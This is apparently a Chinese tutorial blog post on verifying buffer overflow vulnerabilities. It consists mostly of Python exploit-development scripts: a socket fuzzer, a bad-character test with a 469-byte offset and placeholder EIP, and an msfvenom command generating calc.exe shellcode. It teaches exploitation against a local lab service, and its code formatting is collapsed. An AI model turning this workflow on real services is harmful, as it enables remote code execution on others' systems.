原创 | 缓冲区溢出漏洞那些事：验证与危害判定篇（文末福利）

import socketfrom struct import pack
IP = "127.0.0.1"port = 21449
def fuzz():    try:        for i in range(0,10000,10):            buffer = b"A"*i            print("准备发送数据：%s bytes" % i)            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)            s.connect((IP, port))            s.send(buffer)            s.close()    except:        print("指定端口无法访问")
fuzz()

# 在这里写上你的代码 :-)import socketfrom struct import pack
IP = "127.0.0.1"port = 21449
def bad_chars():    all_chars = bytes([        0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,        0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,        0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,        0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,        0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,        0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F,        0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,        0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F,        0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,        0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F,        0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,        0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F,        0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,        0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F,        0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,        0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F,        0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,        0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F,        0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,        0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F,        0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7,        0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF,        0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7,        0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF,        0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7,        0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF,        0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7,        0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF,        0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7,        0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF,        0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7,        0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF    ])
    offset = 469    buffer = b"A"*offset    eip = b"TEST"    payload = buffer + eip + all_chars
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    s.connect((IP, port))    s.send(payload)    s.close()
bad_chars()

msfvenom -p 'windows/exec' CMD='calc.exe' -f 'python' -b 'x00''x0A''x0D'